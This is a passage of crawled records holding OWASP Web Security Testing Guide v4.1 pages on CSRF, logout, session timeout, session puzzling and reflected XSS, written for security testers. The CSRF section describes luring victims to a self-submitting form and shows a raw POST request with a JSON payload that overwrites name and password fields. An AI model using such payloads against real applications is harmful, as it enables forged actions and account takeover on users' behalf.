redirection, to the above URL. Or, again, by accessing an HTML page with an embedded `img` tag pointing to the same URL.\n\nIn all of these cases, if the user is currently logged in to the firewall management application, the request will succeed and will modify the configuration of the firewall. One can imagine attacks targeting sensitive applications and making automatic auction bids, money transfers, orders, changing the configuration of critical software components, etc.\n\nAn interesting thing is that these vulnerabilities may be exercised behind a firewall; i.e. it is sufficient that the link being attacked be reachable by the victim and not directly by the attacker. In particular, it can be any intranet web server; for example, in the firewall management scenario mentioned before, which is unlikely to be exposed to the Internet.\n\nSelf-vulnerable applications, i.e. applications that are used both as attack vector and target (such as web mail applications), make things worse. Since users are logged in when they read their email messages, a vulnerable application of this type can allow attackers to perform actions such as deleting messages or sending messages that appear to originate from the victim.\n\n## Test Objectives\n\nDetermine whether it is possible to initiate requests on a user’s behalf that are not initiated by the user.\n\n## How to Test\n\nAudit the application to ascertain if its session management is vulnerable. If session management relies only on client side values (information available to the browser), then the application is vulnerable. “Client side values” refers to cookies and HTTP authentication credentials (Basic Authentication and other forms of HTTP authentication; not form-based authentication, which is an application-level authentication).\n\nResources accessible via HTTP GET requests are easily vulnerable, though POST requests can be automated via JavaScript and are vulnerable as well; therefore, the use of POST alone is not enough to correct the occurrence of CSRF vulnerabilities.\n\nIn case of POST, the following sample can be used.\n\n1. Create an HTML page similar to that shown below\n2. Host the HTML on a malicious or third-party site\n3. Send the link for the page to the victim(s) and induce them to click it.\n\n```\n \n```\n\nIn case of web applications in which developers are utilizing JSON for browser to server communication, a problem may arise with the fact that there are no query parameters with the JSON format, which are a must with self-submitting forms. To bypass this case, we can use a self-submitting form with JSON payloads including hidden input to exploit CSRF. We’ll have to change the encoding type (`enctype`) to `text/plain` to ensure the payload is delivered as-is. The exploit code will look like the following:\n\n```\n
\n```\n\nThe POST request will be as follow:\n\n```\nPOST / HTTP/1.1\nHost: victimsite.com\nContent-Type: text/plain\n\n{\"name\":\"hacked\",\"password\":\"hacked\",\"padding\":\"=something\"}\n```\n\nWhen this data is sent as a POST request, the server will happily accept the name and password fields and ignore the one with the name padding as it does not need it.\n\n## Remediation\n\n- See the [OWASP CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) for prevention measures.\n\n## Tools\n\n- [OWASP ZAP](https://www.zaproxy.org/)\n- [CSRF Tester](https://wiki.owasp.org/index.php/Category:OWASP_CSRFTester_Project)\n- [Pinata-csrf-tool](https://code.google.com/p/pinata-csrf-tool/)\n\n## References\n\n- [Peter W: “Cross-Site Request Forgeries”](https://web.archive.org/web/20160303230910/http://www.tux.org/~peterw/csrf.txt)\n- [Thomas Schreiber: “Session Riding”](https://web.archive.org/web/20160304001446/http://www.securenet.de/papers/Session_Riding.pdf)\n- [Oldest known post](https://web.archive.org/web/20000622042229/http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan)\n- [Cross-site Request Forgery FAQ](http://www.cgisecurity.com/articles/csrf-faq.shtml)\n- [A Most-Neglected Fact About Cross Site Request Forgery (CSRF)](http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf)\n- [Multi-POST CSRF](https://www.lanmaster53.com/2013/07/17/multi-post-csrf/)\n- [SANS Pen Test Webcast: Complete Application pwnage via Multi POST XSRF](https://www.youtube.com/watch?v=EOs5PZiiwug)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 12952, "slov": 1858, "odkazu": 187, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:35", "sha256": "1ae283476b1cf60766c127d47d09d291bddeaec628bbd06d19e0b2c81803727b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html", "https://www.zaproxy.org/", "https://wiki.owasp.org/index.php/Category:OWASP_CSRFTester_Project", "https://code.google.com/p/pinata-csrf-tool/", "http://www.tux.org/~peterw/csrf.txt", "http://www.securenet.de/papers/Session_Riding.pdf", "http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan", "http://www.cgisecurity.com/articles/csrf-faq.shtml", "http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf", "https://www.lanmaster53.com/2013/07/17/multi-post-csrf/", "https://www.youtube.com/watch?v=EOs5PZiiwug", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Logout Functionality"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Log Out User Interface"}, {"uroven": 3, "text": "Testing for Server-Side Session Termination"}, {"uroven": 3, "text": "Testing for Session Timeout"}, {"uroven": 3, "text": "Testing for Session Termination in Single Sign-On Environments (Single Sign-Off)"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Logout Functionality\n\n| ID |\n| --- |\n| WSTG-SESS-06 |\n\n## Summary\n\nSession termination is an important part of the session lifecycle. Reducing to a minimum the lifetime of the session tokens decreases the likelihood of a successful session hijacking attack. This can be seen as a control against preventing other attacks like Cross Site Scripting and Cross Site Request Forgery. Such attacks have been known to rely on a user having an authenticated session present. Not having a secure session termination only increases the attack surface for any of these attacks.\n\nA secure session termination requires at least the following components:\n\n- Availability of user interface controls that allow the user to manually log out.\n- Session termination after a given amount of time without activity (session timeout).\n- Proper invalidation of server-side session state.\n\nThere are multiple issues which can prevent the effective termination of a session. For the ideal secure web application, a user should be able to terminate at any time through the user interface. Every page should contain a log out button on a place where it is directly visible. Unclear or ambiguous log out functions could cause the user not trusting such functionality.\n\nAnother common mistake in session termination is that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the user without performing any further action. This should be avoided.\n\nSome web application frameworks rely solely on the session cookie to identify the logged-on user. The user’s ID is embedded in the (encrypted) cookie value. The application server does not do any tracking on the server-side of the session. When logging out, the session cookie is removed from the browser. However, since the application does not do any tracking, it does not know whether a session is logged out or not. So by reusing a session cookie it is possible to gain access to the authenticated session. A well-known example of this is the Forms Authentication functionality in ASP.NET.\n\nUsers of web browsers often don’t mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time.\n\nThe usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not terminate the session in the SSO system. Navigating back to the SSO portal offers the user the possibility to log back in to the application where the log out was performed just before. On the other side a log out function in a SSO system does not necessarily cause session termination in connected applications.\n\n## How to Test\n\n### Testing for Log Out User Interface\n\nVerify the appearance and visibility of the log out functionality in the user interface. For this purpose, view each page from the perspective of a user who has the intention to log out from the web application.\n\n> There are some properties which indicate a good log out user interface:\n> \n> - A log out button is present on all pages of the web application.\n> - The log out button should be identified quickly by a user who wants to log out from the web application.\n> - After loading a page the log out button should be visible without scrolling.\n> - Ideally the log out button is placed in an area of the page that is fixed in the view port of the browser and not affected by scrolling of the content.\n\n### Testing for Server-Side Session Termination\n\nFirst, store the values of cookies that are used to identify a session. Invoke the log out function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page that is only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the reload button to refresh the page from the server. If the log out function causes session cookies to be set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application. If these test don’t show any vulnerabilities on a particular page, try at least some further pages of the application that are considered as security-critical, to ensure that session termination is recognized properly by these areas of the application.\n\n> No data that should be visible only by authenticated users should be visible on the examined pages while performing the tests. Ideally the application redirects to a public area or a log in form while accessing authenticated areas after termination of the session. It should be not necessary for the security of the application, but setting session cookies to new values after log out is generally considered as good practice.\n\n### Testing for Session Timeout\n\nTry to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays. If the log out behavior appears, the used delay matches approximately the session timeout value.\n\n> The same results as for server-side session termination testing described before are excepted by a log out caused by an inactivity timeout.\n> \n> The proper value for the session timeout depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can be acceptable.\n\n### Testing for Session Termination in Single Sign-On Environments (Single Sign-Off)\n\nPerform a log out in the tested application. Verify if there is a central portal or application directory which allows the user to log back in to the application without authentication. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested. While logged in in the tested application, perform a log out in the SSO system. Then try to access an authenticated area of the tested application.\n\n> It is expected that the invocation of a log out function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after log out in the SSO system and connected application.\n\n## Tools\n\n- [Burp Suite - Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater)\n\n## References\n\n### Whitepapers\n\n- [Cookie replay attacks in ASP.NET when using forms authentication](https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7144, "slov": 1165, "odkazu": 177, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:36", "sha256": "f25b3decfefc98f0a441a752d26f1f9d188f312c9742408e124654362225f90a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://portswigger.net/burp/documentation/desktop/tools/repeater", "https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing Session Timeout"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP Resources"}], "markdown": "# WSTG - v4.1\n\n# Testing Session Timeout\n\n| ID |\n| --- |\n| WSTG-SESS-07 |\n\n## Summary\n\nIn this phase testers check that the application automatically logs out a user when that user has been idle for a certain amount of time, ensuring that it is not possible to “reuse” the same session and that no sensitive data remains stored in the browser cache.\n\nAll applications should implement an idle or inactivity timeout for sessions. This timeout defines the amount of time a session will remain active in case there is no activity by the user, closing and invalidating the session upon the defined idle period since the last HTTP request received by the web application for a given session ID. The most appropriate timeout should be a balance between security (shorter timeout) and usability (longer timeout) and heavily depends on the sensitivity level of the data handled by the application. For example, a 60 minute log out time for a public forum can be acceptable, but such a long time would be too much in a home banking application (where a maximum timeout of 15 minutes is recommended). In any case, any application that does not enforce a timeout-based log out should be considered not secure, unless such behavior is required by a specific functional requirement.\n\nThe idle timeout limits the chances that an attacker has to guess and use a valid session ID from another user, and under certain circumstances could protect public computers from session reuse. However, if the attacker is able to hijack a given session, the idle timeout does not limit the attacker’s actions, as he can generate activity on the session periodically to keep the session active for longer periods of time.\n\nSession timeout management and expiration must be enforced server-side. If some data under the control of the client is used to enforce the session timeout, for example using cookie values or other client parameters to track time references (e.g. number of minutes since log in time), an attacker could manipulate these to extend the session duration. So the application has to track the inactivity time on the server side and, after the timeout is expired, automatically invalidate the current user’s session and delete every data stored on the client.\n\nBoth actions must be implemented carefully, in order to avoid introducing weaknesses that could be exploited by an attacker to gain unauthorized access if the user forgot to log out from the application. More specifically, as for the log out function, it is important to ensure that all session tokens (e.g. cookies) are properly destroyed or made unusable, and that proper controls are enforced at the server side to prevent the reuse of session tokens. If such actions are not properly carried out, an attacker could replay these session tokens in order to “resurrect” the session of a legitimate user and impersonate him/her (this attack is usually known as ‘cookie replay’). Of course, a mitigating factor is that the attacker needs to be able to access those tokens (which are stored on the victim’s PC), but, in a variety of cases, this may not be impossible or particularly difficult.\n\nThe most common scenario for this kind of attack is a public computer that is used to access some private information (e.g., web mail, online bank account). If the user moves away from the computer without explicitly logging out and the session timeout is not implemented on the application, then an attacker could access to the same account by simply pressing the “back” button of the browser.\n\n## How to Test\n\n### Black-Box Testing\n\nThe same approach seen in the [Testing for logout functionality](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality) section can be applied when measuring the timeout log out.\nThe testing methodology is very similar. First, testers have to check whether a timeout exists, for instance, by logging in and waiting for the timeout log out to be triggered. As in the log out function, after the timeout has passed, all session tokens should be destroyed or be unusable.\n\nThen, if the timeout is configured, testers need to understand whether the timeout is enforced by the client or by the server (or both). If the session cookie is non-persistent (or, more in general, the session cookie does not store any data about the time), testers can assume that the timeout is enforced by the server. If the session cookie contains some time related data (e.g., log in time, or last access time, or expiration date for a persistent cookie), then it’s possible that the client is involved in the timeout enforcing. In this case, testers could try to modify the cookie (if it’s not cryptographically protected) and see what happens to the session. For instance, testers can set the cookie expiration date far in the future and see whether the session can be prolonged.\n\nAs a general rule, everything should be checked server-side and it should not be possible, by re-setting the session cookies to previous values, to access the application again.\n\n### Gray-Box Testing\n\nThe tester needs to check that:\n\n- The log out function effectively destroys all session token, or at least renders them unusable,\n- The server performs proper checks on the session state, disallowing an attacker to replay previously destroyed session identifiers\n- A timeout is enforced and it is properly enforced by the server. If the server uses an expiration time that is read from a session token that is sent by the client (but this is not advisable), then the token must be cryptographically protected from tampering.\n\nNote that the most important thing is for the application to invalidate the session on the server side. Generally this means that the code must invoke the appropriate methods, e.g. `HttpSession.invalidate()` in Java and `Session.abandon()` in .NET. Clearing the cookies from the browser is advisable, but is not strictly necessary, since if the session is properly invalidated on the server, having the cookie in the browser will not help an attacker.\n\n## References\n\n### OWASP Resources\n\n- [Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6295, "slov": 1006, "odkazu": 176, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:37", "sha256": "f1e4f4f8cdaf82def459a00566764e8be5ab82ce1d59120f560e98a6bea5b8e3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Session Puzzling"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Examples"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Testing for Session Puzzling\n\n| ID |\n| --- |\n| WSTG-SESS-08 |\n\n## Summary\n\nSession Variable Overloading (also known as Session Puzzling) is an application level vulnerability which can enable an attacker to perform a variety of malicious actions, including but not limited to:\n\n- Bypass efficient authentication enforcement mechanisms, and impersonate legitimate users.\n- Elevate the privileges of a malicious user account, in an environment that would otherwise be considered foolproof.\n- Skip over qualifying phases in multi-phase processes, even if the process includes all the commonly recommended code level restrictions.\n- Manipulate server-side values in indirect methods that cannot be predicted or detected.\n- Execute traditional attacks in locations that were previously unreachable, or even considered secure.\n\nThis vulnerability occurs when an application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.\n\nFor example, an attacker could use session variable overloading to bypass authentication enforcement mechanisms of applications that enforce authentication by validating the existence of session variables that contain identity–related values, which are usually stored in the session after a successful authentication process. This means an attacker first accesses a location in the application that sets session context and then accesses privileged locations that examine this context.\n\nFor example - an authentication bypass attack vector could be executed by accessing a publicly accessible entry point (e.g. a password recovery page) that populates the session with an identical session variable, based on fixed values or on user originating input.\n\n## How to Test\n\n### Black-Box Testing\n\nThis vulnerability can be detected and exploited by enumerating all of the session variables used by the application and in which context they are valid. In particular this is possible by accessing a sequence of entry points and then examining exit points. In case of black-box testing this procedure is difficult and requires some luck since every different sequence could lead to a different result.\n\n#### Examples\n\nA very simple example could be the password reset functionality that, in the entry point, could request the user to provide some identifying information such as the username or the e-mail address. This page might then populate the session with these identifying values, which are received directly from the client side, or obtained from queries or calculations based on the received input. At this point there may be some pages in the application that show private data based on this session object. In this manner the attacker could bypass the authentication process.\n\n### Gray-Box Testing\n\nThe most effective way to detect these vulnerabilities is via a source code review.\n\n## References\n\n### Whitepapers\n\n- [Session Puzzles](https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/puzzlemall/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf)\n- [Session Puzzling and Session Race Conditions](http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html)\n\n## Remediation\n\nSession variables should only be used for a single consistent purpose.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3486, "slov": 480, "odkazu": 177, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:38", "sha256": "f373799f640820703e464f1631dfbc70fcad7c4bedbab94bab9ec1d125c17972", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/puzzlemall/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf", "http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "4.6 Session Management Testing"}], "markdown": "# WSTG - v4.1\n\n# 4.6 Session Management Testing\n\n4.6.1 [Testing for Session Management Schema](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema)\n\n4.6.2 [Testing for Cookies Attributes](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes)\n\n4.6.3 [Testing for Session Fixation](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation)\n\n4.6.4 [Testing for Exposed Session Variables](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables)\n\n4.6.5 [Testing for Cross Site Request Forgery](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery)\n\n4.6.6 [Testing for Logout Functionality](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality)\n\n4.6.7 [Testing Session Timeout](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout)\n\n4.6.8 [Testing for Session Puzzling](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1623, "slov": 115, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:30", "sha256": "79a47a8d64a263e02be484b33e821ecd9b960262a069210e1397d4e5be99d455", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Reflected Cross Site Scripting"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Detect Input Vectors"}, {"uroven": 4, "text": "Analyze Input Vectors"}, {"uroven": 4, "text": "Check Impact"}, {"uroven": 4, "text": "Example 1"}, {"uroven": 4, "text": "Example 2"}, {"uroven": 3, "text": "Bypass XSS Filters"}, {"uroven": 4, "text": "Example 3: Tag Attribute Value"}, {"uroven": 4, "text": "Example 4: Different Syntax or Encoding"}, {"uroven": 4, "text": "Example 5: Bypassing Non-Recursive Filtering"}, {"uroven": 4, "text": "Example 6: Including External Script"}, {"uroven": 4, "text": "Example 7: HTTP Parameter Pollution (HPP)"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP Resources"}, {"uroven": 3, "text": "Books"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Reflected Cross Site Scripting\n\n| ID |\n| --- |\n| WSTG-INPV-01 |\n\n## Summary\n\nReflected [Cross-site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/) occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.\n\nReflected XSS are the most frequent type of XSS attacks found in the wild. Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.\n\nWhen a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual execution of the offending code using the victim’s browser.\n\nCommonly the attacker’s code is written in the JavaScript language, but other scripting languages are also used, e.g., ActionScript and VBScript. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).\n\nOne of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out ``\n- `“>`\n\nFor a comprehensive list of potential test strings see the [XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet).\n\n#### Check Impact\n\nFor each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application’s security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. 